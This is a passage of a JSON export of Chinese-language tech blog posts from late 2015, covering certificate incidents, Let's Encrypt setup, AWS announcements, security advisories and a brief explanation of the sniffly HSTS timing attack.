tampering, as described in Section 5.4.4 of their CPS.</li>\r\n</ul></blockquote>\r\n\r\n最後還特地放話說，有新的消息時會再考慮更進一步的反擊：\r\n\r\n<blockquote>We may take further action as additional information becomes available to us.</blockquote>\r\n\r\n可以發現語氣非常硬，要不是 Symantec 的市占率這麼高，Google 大概也不會這麼費工...\r\n\r\nSymantec 提供的報告可以在「<a href=\"https://www-secure.symantec.com/connect/sites/default/files/Test_Certificates_Incident_Final_Report_10_13_2015v3b.pdf\">Test Certificates Incident Final Report</a>」、「<a href=\"https://www-secure.symantec.com/connect/sites/default/files/TestCertificateIncidentReportOwnedDomains.pdf\">Incident Report 1</a>」、「<a href=\"https://www-secure.symantec.com/connect/sites/default/files/TestCertificateIncidentReportUnregisteredv2.pdf\">Incident Report 2</a>」取得。",
    "title": "Symantec 的 SSL Certificate 醜聞繼續爆發..."
  },
  {
    "id": "6101",
    "body": "在「<a href=\"http://arstechnica.com/security/2015/10/dont-count-on-starttls-to-automatically-encrypt-your-sensitive-e-mails/\">Don’t count on STARTTLS to automatically encrypt your sensitive e-mails</a>」這邊提到了 STARTTLS 的問題，引用「<a href=\"http://conferences2.sigcomm.org/imc/2015/papers/p27.pdf\">Neither Snow Nor Rain Nor MITM ... An Empirical Analysis of Email Delivery Security</a>」這篇論文的說明。\r\n\r\nSMTP 裡 STARTTLS 的設計雖然可以加密，但仲所皆知，可以阻擋 EHLO 回應結果避免建立 STARTTLS 連線，而讓發送端改用傳統未加密的 SMTP 傳輸。而研究發現其實目前就有大規模的這種監控行為：\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmYLtKpCgG2fEjcBtjRqXsYeyTMQJa68XMkBSLXJ5nDYUo\" alt=\"\" />\r\n\r\n可以看到突尼西亞的監控情況遠超過想像...\r\n\r\n目前的想法是發展一套類似 HSTS 的 <a href=\"https://en.wikipedia.org/wiki/Trust_on_first_use\">Trust on first use</a> 設計，也許在這份報告出來後可以加速催生...",
    "title": "STARTTLS 的不完整性以及大規模監控電子郵件"
  },
  {
    "id": "6102",
    "body": "在「<a href=\"http://webdesignledger.com/jquery-audit-extension\">jQuery Audit lets you analyze jQuery from Chrome Developer Tools</a>」這邊看到 <a href=\"https://chrome.google.com/webstore/detail/jquery-audit/dhhnpbajdcgdmbbcoakfhmfgmemlncjg/\">jQuery Audit</a> 這個 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 的套件。這個套件讓你在 Developer Tools 裡看到 <a href=\"https://jquery.com/\">jQuery</a> 的資料：\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmTyVbVEGnFS1euaHdAHW443NXUyCEuP1nG1cXmaUNFPLs\" alt=\"\" />\r\n\r\n在大家都用 jQuery 操作的情境下，這個套件超好用...",
    "title": "用 jQuery Audit 在 Google Chrome 的 Developer Tools 看到 jQuery 的資料"
  },
  {
    "id": "6103",
    "body": "<a href=\"https://slack.com/\">Slack</a> 最近除了推出了 Group Messages 以外 (參考「<a href=\"https://blog.gslin.org/archives/2015/10/29/6093/slack-%E6%94%AF%E6%8F%B4%E5%A4%9A%E4%BA%BA%E8%A8%8E%E8%AB%96%E7%BE%A4%E7%B5%84/\">Slack 支援多人討論群組</a>」)，也推出了 User Groups 的功能給付費用戶使用：「<a href=\"http://slackhq.com/post/132108708810/usergroups\">Introducing User Groups</a>」：\r\n\r\n<blockquote>User Groups are enabled for all Slack teams on paid plans (both Standard and Plus). New groups can be created in the Team Directory panel in your desktop app. You can give each a descriptive name and add a note on purpose to help others understand what each group is for. The team directory will then list your team’s existing user groups and show the details of each, along with the the group’s members.</blockquote>\r\n\r\n使用者可以被分類成 Group，然後可以針對某一個 Group 傳訊息。而 Plus Plan 的用戶可以透過 SSO 機制將群組資訊帶進來用：\r\n\r\n<blockquote>For teams using Single Sign On (SSO) on the Plus plan, you can even use groups to control provisioning accounts from your SSO tools. Users of Active Directory in OneLogin, PingOne, PingFederate, or Okta can take advantage of this built-in user provisioning support to add employees automatically into Slack User Groups matching each employee’s existing group rights, roles and permissions in your internal directory.</blockquote>\r\n\r\n另外也有提供 API 讓你用，所以 Standard Plan 用戶也可以自己寫，然後塞進去。",
    "title": "Slack 的 User Groups 功能"
  },
  {
    "id": "6105",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 宣佈通過 <a href=\"https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-1.pdf\">PCI DSS 3.1</a> Level 1：「<a href=\"https://blog.cloudflare.com/cloudflare-is-now-pci-3-1-certified/\">CloudFlare is now PCI 3.1 certified</a>」。\r\n\r\n早在去年的時候 CloudFlare 就已經通過 PCI DSS 2.0 Level 1：「<a href=\"https://blog.cloudflare.com/cloudflare-is-pci-certified/\">CloudFlare is PCI Certified</a>」，這次過 PCI DSS 3.1 主要還是因為 2.0 即將失效，不升級就不能處理信用卡資料了...",
    "title": "CloudFlare 通過 PCI DSS 3.1 Level 1"
  },
  {
    "id": "6107",
    "body": "依照「<a href=\"https://community.letsencrypt.org/t/beta-program-announcements/1631\">Beta Program Announcements</a>」這邊的指示去填單申請 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的 SSL certificate (先幫 <code>home.gslin.org</code> 申請)，等了好幾天，在剛剛收到信就弄了弄，還蠻順利就設好了。\r\n\r\n可以看到 <a href=\"https://ssl-tools.net/subjects/bc5772e2797c56e39994598d75a4a3d24c4c85c5\">Let's Encrypt Authority X1</a> 被 <a href=\"https://ssl-tools.net/subjects/6ff4684d4312d24862819cc02b3d472c1d8a2fa6\">DST Root CA X3</a> 簽名的情況，而後者已經被大多數瀏覽器所確認了：\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmTu6QL4f1yKF4X5zr2Xqr8xHg4EAGYuHWLi8befB94ftE\" alt=\"\" />\r\n\r\n首先是先把 <a href=\"https://github.com/letsencrypt/letsencrypt\">letsencrypt client</a> 拉下來：\r\n\r\n<pre>$ git clone https://github.com/letsencrypt/letsencrypt</pre>\r\n\r\n接著執行認證：\r\n\r\n<pre>$ cd letsencrypt\r\n$ ./letsencrypt-auto --agree-dev-preview --server https://acme-v01.api.letsencrypt.org/directory certonly</pre>\r\n\r\n執行時會先建立環境 (由於需要寫到 <code>/etc/letsencrypt</code> 裡面，會需要 root 或 <a href=\"http://www.sudo.ws/\">sudo</a> 權限)。\r\n\r\n接下來會跳出一些畫面讓你設定，包括 hostname 以及聯絡資訊，再來就是認證的方式 (我是跳出使用 <a href=\"https://httpd.apache.org/\">apache</a> 或是 standalone web server)，由於我的 port 443 已經被 apache 吃掉，所以需要用 apache。\r\n\r\n最後認證成功會出現：\r\n\r\n<pre>IMPORTANT NOTES:\r\n - Congratulations! Your certificate and chain have been saved at\r\n   /etc/letsencrypt/live/home.gslin.org/fullchain.pem. Your cert will\r\n   expire on 2016-02-02. To obtain a new version of the certificate in\r\n   the future, simply run Let's Encrypt again.</pre>\r\n\r\n有效期限 90 days，雖然裡面是講 fullchain.pem，但其實每個檔案都有拆開放，看一下 <code>/etc/letsencrypt/live/home.gslin.org/</code> 路徑裡的檔案，設定對應的 cert/chain/key 應該還是比較習慣的作法。\r\n\r\n官方目前的建議是 60 days 重新 renew 一次，也許可以設成 <a href=\"https://en.wikipedia.org/wiki/Cron\">cron</a>，每兩個月自動更新一次 (並且 reload apache)。",
    "title": "把家裡的機器換上 Let's Encrypt 的 SSL certificate"
  },
  {
    "id": "6108",
    "body": "在「<a href=\"http://blogs.windows.com/msedgedev/2015/11/04/sha-1-deprecation-update/\">SHA-1 Deprecation Update</a>」這篇文章中宣佈本來在「<a href=\"http://social.technet.microsoft.com/wiki/contents/articles/32288.windows-enforcement-of-authenticode-code-signing-and-timestamping.aspx\">Windows Enforcement of Authenticode Code Signing and Timestamping</a>」這邊宣佈 2017 年停用 SHA-1 SSL certificate 的進度將提前到 2016 年七月 (到 2016 六月前仍然可以使用)。\r\n\r\n在微軟的文章裡也有提到，如同 <a href=\"https://www.mozilla.org/\">Mozilla</a> 在前幾個禮拜宣佈的「<a href=\"https://blog.mozilla.org/security/2015/10/20/continuing-to-phase-out-sha-1-certificates/\">Continuing to Phase Out SHA-1 Certificates</a>」計畫，也是預定把 2017 年的淘汰計畫提前到 2016 年七月。\r\n\r\n主要是因為「<a href=\"https://blog.gslin.org/archives/2015/10/09/6042/%E5%B0%8D-sha-1-%E7%9A%84%E6%94%BB%E6%93%8A%E9%80%B2%E5%B1%95/\">對 SHA-1 的攻擊進展</a>」這邊提到對 SHA-1 的新攻擊，所以決定提前半年...",
    "title": "微軟也宣佈 SHA-1 的 SSL certificate 將於 2016 年七月停用"
  },
  {
    "id": "6109",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈了將會在 2016 年年初建立南韓機房：「<a href=\"https://aws.amazon.com/blogs/aws/next-stop-korea/\">In the Works – AWS Region in South Korea!</a>」，考慮到地理位置的話，南韓機房的 latency 有機會比日本機房還低，不過台灣對韓國的國際頻寬可能不太夠，應該還是得用日本當主力...\r\n\r\n這樣 2016 年預定會加開印度、俄亥俄州以及韓國三個區域了。不知道還有沒有能量開其他地區...",
    "title": "AWS 將在 2016 年成立南韓機房"
  },
  {
    "id": "6110",
    "body": "在「<a href=\"http://www.zdnet.com/article/is-android-phone-is-vulnerable-to-attack-now-you-can-check/\">How to check if your Android device is vulnerable to attack</a>」這邊看到有新的 open source 工具可以偵測 <a href=\"https://www.android.com/\">Android</a> 裝置的安全性問題，在 <a href=\"https://play.google.com/\">Google Play</a> 上可以下載：「<a href=\"https://play.google.com/store/apps/details?id=com.nowsecure.android.vts\">VTS for Android</a>」。\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmPG1Jj46JyRogQcbPmnQRKb11nt2BxY5BXwY4WUpMz5uZ\" alt=\"\" />\r\n\r\n官方的擷圖可以看到偵測的項目，以及對應的 <a href=\"https://cve.mitre.org/\">CVE</a> 編號。拿手上的 <a href=\"https://en.wikipedia.org/wiki/LG_G2\">LG G2</a> 測試 (官方的最新韌體)，看起來是該刷 3rd-party 韌體了...",
    "title": "檢查 Android 裝置的安全性問題"
  },
  {
    "id": "6111",
    "body": "才講完要成立南韓機房的計畫「<a href=\"https://blog.gslin.org/archives/2015/11/06/6109/aws-%E5%B0%87%E5%9C%A8-2016-%E5%B9%B4%E6%88%90%E7%AB%8B%E5%8D%97%E9%9F%93%E6%A9%9F%E6%88%BF/\">AWS 將在 2016 年成立南韓機房</a>」，直接由老大 <a href=\"http://www.allthingsdistributed.com/\">Werner Vogels</a> 加碼宣佈了倫敦機房 (英國機房) 的計畫：「<a href=\"http://www.allthingsdistributed.com/2015/11/aws-announces-uk-region.html\">London Calling! An AWS Region is coming to the UK!</a>」。\r\n\r\n預定在 2016 年年底或是 2017 年年初對外運作，這將會成為歐洲的第三個機房，而前兩個是<del datetime=\"2015-11-08T06:54:21+00:00\">冰島</del>愛爾蘭與德國。可以看出來 2016 年大舉擴張的態勢...",
    "title": "AWS 老大宣佈 2016 年年底會開倫敦機房"
  },
  {
    "id": "6112",
    "body": "在「<a href=\"http://thenextweb.com/insider/2015/11/05/a-google-engineer-is-reviewing-usb-c-cables-on-amazon-and-its-awesome/\">A Google engineer is reviewing USB-C cables on Amazon, and it’s awesome</a>」這邊看到的：\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmZqFKZb2vhhmgms5HF8KiwEDUHp7d46qGsTxyqUYKS8QM\" alt=\"\" />\r\n\r\n直接拿規格書說這東西沒照規矩來，打臉打輕一點啊啊啊 XDDD",
    "title": "Google 工程師在 Amazon 上留下對 USB-C 線的精彩評價..."
  },
  {
    "id": "6113",
    "body": "雖然很久沒用 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\">PuTTY</a> 了 (因為用 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 很久了)，不過很難得看到 PuTTY 有安全性問題。\r\n\r\nPuTTY 官方發佈了安全性通報 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5309\">CVE-2015-5309</a>：「<a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-ech-overflow.html\">PuTTY vulnerability vuln-ech-overflow</a>」：\r\n\r\n<blockquote>Versions of PuTTY and pterm between 0.54 and 0.65 inclusive have a potentially memory-corrupting integer overflow in the handling of the ECH (erase characters) control sequence in the terminal emulator.</blockquote>\r\n\r\n不過老問題還是沒解啊，透過 HTTPS (i.e. Certificate authority 架構) 雖然有很多問題，但至少還是個靠稽核制度而建立的安全信任機制，在沒有任何可信任環境下可以當作起點下仍然是最好的方案：「<a href=\"https://blog.gslin.org/archives/2014/03/09/4347/%E5%A6%82%E4%BD%95%E5%AE%89%E5%85%A8%E4%B8%8B%E8%BC%89%E8%BB%9F%E9%AB%94/\">如何安全下載軟體...</a>」。",
    "title": "PuTTY 安全性問題 (CVE-2015-5309)"
  },
  {
    "id": "6114",
    "body": "在「<a href=\"http://www.itnews.com.au/news/uk-govt-to-make-10-mbps-broadband-a-legal-right-411543\">UK govt to make 10 Mbps broadband a legal right</a>」這邊看到英國政府打算更新法案，逐步將 10Mbps 上網速度訂為法定權利。\r\n\r\n目前法定權利是 28.8Kbps 的撥接速度：\r\n\r\n<blockquote>Currently, the minimum USO for data access in Britain is just 28.8 Kbps, or dial-up speeds.</blockquote>\r\n\r\n打算在今年年底拉高為 2Mbps，並且在 2020 年拉高為 10Mbps：\r\n\r\n<blockquote>Under the proposal, the minimum speed specified by the USO will be raised to 2 Mbps by the end of the year, before further increasing to 10 Mbps by 2020.</blockquote>\r\n\r\n英國首相 David Cameron 公開說明，internet 應該被認定為基本權利：\r\n\r\n<blockquote>\"Access to the internet shouldn’t be a luxury; it should be a right – absolutely fundamental to life in 21st century Britain,\" Cameron said.</blockquote>",
    "title": "英國將 10Mbps 上網訂為法定權利"
  },
  {
    "id": "6115",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到的文章，對三套有 High Avaiilability 能力的 <a href=\"https://dev.mysql.com/\">MySQL</a> 系統比較：「<a href=\"http://www.tusacentral.net/joomla/index.php/mysql-blogs/175-aws-aurora-benchmarking-blast-or-splash.html\">AWS Aurora Benchmarking - Blast or Splash?</a>」。\r\n\r\n測試的項目包括了 MySQL + <a href=\"https://github.com/yoshinorim/mha4mysql-manager\">MHA</a>、<a href=\"http://galeracluster.com/products/\">Galera Cluster</a> 以及 <a href=\"https://aws.amazon.com/rds/aurora/\">Amazon RDS for Aurora</a> 三種，包括了 failover 的各種速度以及資料庫效能的比較。\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmVmded1EDX5PxhAKoVsynruHh3yYQEdPhmCZhwU6UY3u7\" alt=\"\" />\r\n\r\n測試的結果可以看到 Galera Cluster 有不少優勢，不過我必須說 Galera Cluster 並不好搞，初期要使用的話乾脆用 Aurora 就好，failover 的確是比較慢，而且效能也沒有 Galera Cluster 好，但管理上輕鬆很多啊...",
    "title": "AWS 上 MySQL + MHA、Galera Cluster、Amazon RDS for Aurora 的比較"
  },
  {
    "id": "6116",
    "body": "在「<a href=\"http://www.jcic.org.tw/main_ch/docDetail.aspx?uid=525&amp;pid=93&amp;docid=364\">申請信用報告的方式</a>」這邊可以看到：\r\n\r\n<blockquote>網路查閱\r\n\r\n自民國104年11月1日起本中心提供「<a href=\"https://apply.jcic.org.tw\">個人線上查閱信用報告服務</a>」(<a href=\"https://apply.jcic.org.tw\">https://apply.jcic.org.tw</a>)，民眾在本中心網頁以自然人憑證即可快速查閱「個人信用報告」電子檔。推廣期間六個月，不論查閱次數皆不予收費，請民眾多多利用。</blockquote>\r\n\r\n不過看起來得跑 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 之類的東西了：\r\n\r\n<blockquote>註1：目前網站僅支援IE8，IE9，IE10，IE11的32位元版本IE瀏覽器，其餘種類瀏覽器無法支援。</blockquote>\r\n\r\n原因在下面馬上有：\r\n\r\n<blockquote>註2：請以系統管理員的權限安裝ActiveX元件，使用其他權限有可能無法安裝完成。</blockquote>\r\n\r\n另外在<a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=apply.jcic.org.tw&amp;s=61.30.49.80\">這邊</a>看到：\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmSPGxwzSukdGQkSqihALmzrS2z46JQbt4mzHXQuyfWcTK\" alt=\"\" />\r\n\r\n嗯...",
    "title": "在網路上直接查詢信用報告"
  },
  {
    "id": "6117",
    "body": "剛剛把 <a href=\"https://blog.gslin.org/\">blog.gslin.org</a> 也換成 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的 SSL certificate 了：\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmPq7Sdf15VttMvZxTNiJmVEtKXmgrbz7aX8nvpKnVCfYH\" alt=\"\" />\r\n\r\n由於使用了 <a href=\"http://nginx.org/\">nginx</a> + redirect，目前 letsencrypt-auto 沒辦法支援這樣的 case，所以認證的過程是把 nginx 關掉，讓 letsencrypt-auto 使用 standalone web server 認證，接下來再用\r\n\r\n看起來沒什麼問題，是 90 days 有效，接下來要研究怎麼 auto renew...",
    "title": "blog.gslin.org 的 SSL certificate 也換成 Let's Encrypt"
  },
  {
    "id": "6119",
    "body": "好久沒看到 <a href=\"https://www.limelight.com/\">Limelight Networks</a> 的新聞：「<a href=\"http://blog.streamingmedia.com/2015/11/apple-multi-cdn-limelight.html\">Apple’s Multi-CDN Strategy Adds Limelight Networks To The Mix</a>」。\r\n\r\n<a href=\"http://blog.streamingmedia.com/\">Dan Rayburn</a> 發現 <a href=\"https://www.apple.com/\">Apple</a> 把 Limelight Networks 加入 Apple 的下載網路裡。之前用的是 <a href=\"https://www.akamai.com/\">Akamai</a>，另外就是自己建的 CDN，現在加入 Limelight Networks 應該是成本考量：(因為在 Limelight Networks 的財報上有提出來，雖然不是直接講明 Apple)\r\n\r\n<blockquote>On Limelight’s earnings call this week, the company mentioned they signed up some customers that they had to give a low price point to, which would impact margins in the short-term, before they expected the economics of scale to kick in.</blockquote>\r\n\r\n不過 Limelight Networks 對 <a href=\"http://www.hinet.net/\">HiNet</a> 的品質一直都不是很好，主要還是會導去香港機房，但看起來線路頗壅塞，就再看看吧...",
    "title": "Apple 使用 Limelight Networks..."
  },
  {
    "id": "6120",
    "body": "剛剛看「<a href=\"https://launchpad.net/~nginx/+archive/ubuntu/development\">NGINX Mainline</a>」這邊的 PPA，發現六天前 <a href=\"http://nginx.org/\">nginx</a> 總算升級到 1.9.6 了...\r\n\r\n之前用其他 PPA 的人可以換回來了... 因為之前一直都是維持在 1.9.4，只有 <a href=\"https://www.chromium.org/spdy\">SPDY</a> 可以用，現在這樣可以用 HTTP/2 了。",
    "title": "nginx 半官方的 PPA 總算升級到 1.9.6"
  },
  {
    "id": "6122",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 宣佈全面支援 DNSSEC 了：「<a href=\"https://blog.cloudflare.com/introducing-universal-dnssec/\">Announcing Universal DNSSEC: Secure DNS for Every Domain</a>」。\r\n\r\n另外也因為現在需要把 public key 手動 copy &amp; paste 到 DNS 註冊商會很麻煩 (而且有可能會貼錯)，所以 CloudFlare 的人試著往 <a href=\"https://www.ietf.org/\">IETF</a> 標準化這件事情：\r\n\r\n<blockquote>At CloudFlare, we care about advancing what’s possible on the Internet, so <a href=\"https://tools.ietf.org/html/draft-latour-dnsoperator-to-rrr-protocol\">we have published an Internet Draft</a> proposing a protocol for DNS providers such as CloudFlare to communicate directly to registries and registrars. We are pushing it to become an accepted Internet Standard RFC.</blockquote>",
    "title": "CloudFlare 全面支援 DNSSEC"
  },
  {
    "id": "6123",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2015/10/15/6058/%E5%9C%A8-ios-%E4%B8%8A%E4%B8%8D%E4%BD%BF%E7%94%A8-facebook-app-%E6%99%82%E8%A6%81%E5%AE%8C%E5%85%A8%E7%A0%8D%E6%8E%89-process/\">在 iOS 上不使用 Facebook App 時要完全砍掉 process</a>」這邊提到了 <a href=\"https://www.facebook.com/\">Facebook</a> 在 iOS 版的應用程式會在背景播放無聲音樂，導致吃電特別兇的問題，Facebook 的 <a href=\"https://www.facebook.com/arig\">Ari Grant</a> 出來<a href=\"https://www.facebook.com/arig/posts/10105815276466163\">澄清</a>是 bug 造成的，而非故意行為。\r\n\r\n修正了兩個 bug，第一個是 network code 的部分：\r\n\r\n<blockquote>The first issue we found was a “CPU spin” in our network code. A CPU spin is like a child in a car asking, “Are we there yet? Are we there yet? Are we there yet?”with the question not resulting in any progress to reaching the destination. This repeated processing causes our app to use more battery than intended. The version released today has some improvements that should start making this better.</blockquote>\r\n\r\n第二個則是之前提到無聲 audio 的問題：\r\n\r\n<blockquote>The second issue is with how we manage audio sessions. If you leave the Facebook app after watching a video, the audio session sometimes stays open as if the app was playing audio silently. This is similar to when you close a music app and want to keep listening to the music while you do other things, except in this case it was unintentional and nothing kept playing. The app isn't actually doing anything while awake in the background, but it does use more battery simply by being awake. Our fixes will solve this audio issue and remove background audio completely.</blockquote>\r\n\r\n同時澄清並沒有要在背景更新取得地理位置資訊：\r\n\r\n<blockquote>The issues we have found are not caused by the optional Location History feature in the Facebook app or anything related to location. If you haven't opted into this feature by setting Location Access to Always and enabling Location History inside the app, then we aren't accessing your device's location in the background. The issues described above don't change this at all.</blockquote>\r\n\r\n理論上新版應該會省一點電了？",
    "title": "Facebook 更新 iOS 應用程式，修正吃電問題"
  },
  {
    "id": "6124",
    "body": "<a href=\"https://wordpress.org/\">WordPress</a> 的 <a href=\"http://ma.tt/\">Matt Mullenweg</a> 在他的 blog 上提到了 WordPress 的內容建構了 Web 上的 25% 內容：「<a href=\"http://ma.tt/2015/11/seventy-five-to-go/\">Seventy-Five to Go</a>」，出自 <a href=\"http://w3techs.com/\">W3Techs</a> 的「<a href=\"http://w3techs.com/technologies/history_overview/content_management/all/y\"> Historical yearly trends in the usage of content management systems for websites </a>」這邊的資料。\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmWDo8sKRfLkVyPFdFYLgd7Sc6govHgFsGzryBuCw5zgBx\" alt=\"\" />\r\n\r\nWordPress 從 2004 年 <a href=\"https://movabletype.org/\">MovableType</a> 的 license 爭議事件後崛起 (<a href=\"https://web.archive.org/web/20040514045704/http://www.sixapart.com/corner/archives/2004/05/its_about_time.shtml\">Commitment to a Free Version, while getting our pricing right</a>)，後來就愈站愈穩了，而 MovableType 在 2007 年又宣布 open source (<a href=\"https://movabletype.org/news/2007/12/movable_type_open_source.html\">Movable Type Open Source</a>)，但也已經無法挽回了...\r\n\r\n而且 WordPress 的比率目前還在緩緩攀升...",
    "title": "使用 WordPress 的內容佔有全 Web 的 25% 比率"
  },
  {
    "id": "6125",
    "body": "剛剛看到 2017 年將會有最新一季的 <a href=\"https://en.wikipedia.org/wiki/Star_Trek\">Star Trek</a>：「<a href=\"http://www.startrek.com/article/new-star-trek-series-premieres-january-2017\">New Star Trek Series Premieres January 2017</a>」。\r\n\r\nStar Trek 在科技史上是部很重要的影集與一系列的電影，在 <a href=\"https://www.nasa.gov/\">NASA</a> 裡甚至有很多人是被 Star Trek 所影響才加入 NASA 的。\r\n\r\n明年 2016 年將會有五十週年活動：\r\n\r\n<blockquote>Star Trek, which will celebrate its 50th anniversary in 2016, is one of the most successful entertainment franchises of all time.</blockquote>\r\n\r\n來等看看好了，之前有些 series 有點雷，新的不知道怎樣 XDDD",
    "title": "2017 年將有新一季的 Star Trek..."
  },
  {
    "id": "6126",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">EC2</a> 與 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 將會有更長的 Resource ID：「<a href=\"https://aws.amazon.com/blogs/aws/heads-up-longer-ec2-ebs-resource-ids-coming-in-2016/\">Heads-Up – Longer EC2 & EBS Resource IDs Coming in 2016</a>」。\r\n\r\n重點在這段：\r\n\r\n<blockquote>The new IDs will be the same format as existing IDs, but longer. The current ID format is a resource identifier followed by an 8-character string, and the new format will be the same resource identifier followed by a 17-character string.</blockquote>\r\n\r\n本來是 8 chars，之後會變成 17 chars。而用 SDK 的人只要更新到新版就可以了：\r\n\r\n<blockquote>The SDKs are already compatible with longer IDs and don’t require any updates.</blockquote>\r\n\r\n預定在 2016 年發生：\r\n\r\n<blockquote>My colleague Angela Chapman wrote the guest post below to make you aware of longer instance, reservation, volume, and snapshot IDs that we will be rolling out in 2016.</blockquote>",
    "title": "EC2 與 ELB 將會有更長的 Resource ID"
  },
  {
    "id": "6127",
    "body": "在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2015/11/enable-cors-in-amazon-api-gateway/\">Enable CORS in Amazon API Gateway</a>」這邊看到 <a href=\"https://aws.amazon.com/api-gateway/\">Amazon API Gateway</a> 支援 <a href=\"https://en.wikipedia.org/wiki/Cross-origin_resource_sharing\">CORS</a> (Cross-origin resource sharing) 了，這樣前端頁面就可以直接 call 進去使用了...\r\n\r\n文件可以在「<a href=\"https://docs.aws.amazon.com/apigateway/latest/developerguide/how-to-cors.html\">Enable CORS for a Method in API Gateway</a>」這邊看到，主要就是這個頁面的設定：\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmQQ2Bdb74ZKQzTGXcpvAbHBhzYfAHjGNDRkUiwKXPGc1R\" alt=\"\" />\r\n\r\n看起來是個小功能，但卻影響很大... 這代表又有一大塊開發者會進去研究。",
    "title": "Amazon API Gateway 支援 CORS 了"
  },
  {
    "id": "6128",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 宣佈 2015/12/03 進入 Public Beta，也就是不需要額外填寫表格申請就可以使用：「<a href=\"https://letsencrypt.org/2015/11/12/public-beta-timing.html\">Public Beta: December 3, 2015</a>」。\r\n\r\n從 2015/09/19 開始到現在已經發出 11K 個 SSL certificate 了：\r\n\r\n<blockquote>Our Limited Beta started on September 12, 2015. We’ve issued over 11,000 certificates since then, and this operational experience has given us confidence that our systems are ready for an open Public Beta.</blockquote>\r\n\r\n我猜應該還是在 cross sign 取得主流瀏覽器支援後才大量增加的...",
    "title": "Let's Encrypt 預定於 2015 年 12 月 3 日進入 Public Beta"
  },
  {
    "id": "6129",
    "body": "在 <a href=\"https://aws.amazon.com/console/\">AWS Web Console</a> 上可以用 access key 查詢是哪個 <a href=\"https://aws.amazon.com/iam/\">IAM</a> 使用者了：「<a href=\"https://blogs.aws.amazon.com/security/post/Tx282DRBVZXGTX1/Introducing-IAM-Console-Search\">Introducing IAM Console Search</a>」。\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmZhabf5ezmdZ9pUXYVi8E9TYS8T7AkKhWoZ85wuzEc5P9\" alt=\"\" />\r\n\r\n這樣就可以再查出這個 IAM key 有哪些權限...",
    "title": "Web Console 總算可以拿 Access Key 查詢是哪個 IAM 使用者了"
  },
  {
    "id": "6130",
    "body": "在「<a href=\"https://josephscott.org/archives/2015/10/preconnect/\">Preconnect</a>」這邊看到 <a href=\"https://w3c.github.io/resource-hints/#dfn-preconnect\">Preconnect</a> 這個功能，目前在 <a href=\"https://www.mozilla.org/firefox\">Mozilla Firefox</a>、<a href=\"https://www.google.com/chrome\">Google Chrome</a> 以及 <a href=\"http://www.opera.com/\">Opera</a> 都有支援，用法也很簡單：\r\n\r\n<pre>&lt;link rel=\"preconnect\" href=\"//example.com\"&gt;\r\n&lt;link rel=\"preconnect\" href=\"//cdn.example.com\" crossorigin&gt;</pre>\r\n\r\n感覺如果要用的話，可以先送出 head 的部分，打 flush 讓瀏覽器先收到後再送出其他部分？不過對 MVC 架構來說好像變複雜了，不知道有什麼設計比較好...\r\n\r\n另外一個是 <a href=\"https://w3c.github.io/resource-hints/#dfn-prerender\">Prerender</a>，目前是 IE11+、Google Chrome 以及 Opera 有支援，看起來也頗有趣的...",
    "title": "HTML 的 preconnect"
  },
  {
    "id": "6131",
    "body": "看到「<a href=\"https://zyan.scripts.mit.edu/blog/sniffly/\">sniffly</a>」這個工具，可以利用 HSTS 資訊檢測逛過哪些網站，程式碼在「<a href=\"https://github.com/diracdeltas/sniffly\">diracdeltas/sniffly</a>」這邊可以找到：\r\n\r\n<blockquote>Sniffly is an attack that abuses HTTP Strict Transport Security and Content Security Policy to allow arbitrary websites to sniff a user's browsing history. It has been tested in Firefox and Chrome.</blockquote>\r\n\r\n測試網站則可以在<a href=\"https://zyan.scripts.mit.edu/sniffly/\">這邊</a>看到，作者拿 <a href=\"http://www.alexa.com/\">Alexa</a> 上的資料網站來掃，所以熱門網站應該都會被放進去...\r\n\r\n主要是利用 HSTS + CSP policy 的 timing attack (有逛過網站而瀏覽器裡有 HSTS 時的 redirect 會比較快，沒有逛過的時候會因為有網路連線而比較慢)：\r\n\r\n<blockquote>Sniffly sets a CSP policy that restricts images to HTTP, so image sources are blocked before they are redirected to HTTPS. This is crucial! If the browser completes a request to the HTTPS site, then it will receive the HSTS pin, and the attack will no longer work when the user visits Sniffly.\r\n\r\nWhen an image gets blocked by CSP, its onerror handler is called. In this case, the onerror handler does some fancy tricks to time how long it took for the image to be redirected from HTTP to HTTPS. If this time is on the order of a millisecond, it was an HSTS redirect (no network request was made), which means the user has visited the image's domain before. If it's on the order of 100 milliseconds, then a network request probably occurred, meaning that the user hasn't visited the image's domain.</blockquote>\r\n\r\n由於這個技巧，<a href=\"https://www.eff.org/Https-Everywhere\">HTTPS Everywhere</a> 必須關閉才會比較準確。",
    "title": "利用 HSTS 資訊得知網站紀錄的 sniffly"
  },
  {
    "id": "6132",
